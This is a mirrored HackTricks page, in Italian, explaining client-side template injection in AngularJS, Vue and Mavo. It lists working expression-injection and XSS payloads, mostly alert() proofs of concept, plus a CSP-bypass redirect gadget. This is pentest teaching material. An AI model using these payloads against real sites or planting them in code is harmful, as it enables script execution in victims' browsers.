mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
4.5 KiB
Markdown
79 lines
4.5 KiB
Markdown
# Client Side Template Injection (CSTI)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Riepilogo
|
|
|
|
È simile a un [**Server Side Template Injection**](ssti-server-side-template-injection/) ma nel **client**. Il **SSTI** può consentirti di **eseguire codice** sul server remoto, il **CSTI** potrebbe consentirti di **eseguire codice JavaScript arbitrario** nel browser della vittima.
|
|
|
|
**Testare** questa vulnerabilità è molto **simile** al caso del **SSTI**, l'interprete si aspetta **un template** e lo eseguirà. Ad esempio, con un payload come `{{ 7-7 }}`, se l'app è **vulnerabile** vedrai un `0`, e se non lo è, vedrai l'originale: `{{ 7-7 }}`
|
|
|
|
## AngularJS
|
|
|
|
AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una delle quali è **`ng-app`**. Questa direttiva consente ad AngularJS di elaborare il contenuto HTML, abilitando l'esecuzione di espressioni JavaScript all'interno di doppie parentesi graffe.
|
|
|
|
In scenari in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con `ng-app`, è possibile eseguire codice JavaScript arbitrario. Questo può essere realizzato sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
|
|
```javascript
|
|
{{$on.constructor('alert(1)')()}}
|
|
{{constructor.constructor('alert(1)')()}}
|
|
<input ng-focus=$event.view.alert('XSS')>
|
|
|
|
<!-- Google Research - AngularJS -->
|
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|
```
|
|
Puoi trovare un **esempio online molto base** della vulnerabilità in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) e in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
|
|
|
> [!CAUTION] > [**Angular 1.6 ha rimosso il sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) quindi da questa versione un payload come `{{constructor.constructor('alert(1)')()}}` o `<input ng-focus=$event.view.alert('XSS')>` dovrebbe funzionare.
|
|
|
|
## VueJS
|
|
|
|
Puoi trovare un'implementazione **vulnerabile di Vue** in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
|
Payload funzionante: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
|
|
|
E il **codice sorgente** dell'esempio vulnerabile qui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
|
```markup
|
|
<!-- Google Research - Vue.js-->
|
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
|
```
|
|
Un ottimo post su CSTI in VUE può essere trovato in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V3**
|
|
```
|
|
{{_openBlock.constructor('alert(1)')()}}
|
|
```
|
|
Crediti: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V2**
|
|
```
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
Crediti: [Mario Heiderich](https://twitter.com/cure53berlin)
|
|
|
|
**Controlla altri payload VUE in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
|
|
|
## Mavo
|
|
|
|
Payload:
|
|
```
|
|
[7*7]
|
|
[(1,alert)(1)]
|
|
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
|
[self.alert(1)]
|
|
javascript:alert(1)%252f%252f..%252fcss-images
|
|
[Omglol mod 1 mod self.alert (1) andlol]
|
|
[''=''or self.alert(lol)]
|
|
<a data-mv-if='1 or self.alert(1)'>test</a>
|
|
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
|
<a href=[javascript&':alert(1)']>test</a>
|
|
[self.alert(1)mod1]
|
|
```
|
|
**Altri payload in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
|
|
|
## **Elenco di Rilevamento Brute-Force**
|
|
|
|
{{#ref}}
|
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
|
{{#endref}}
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|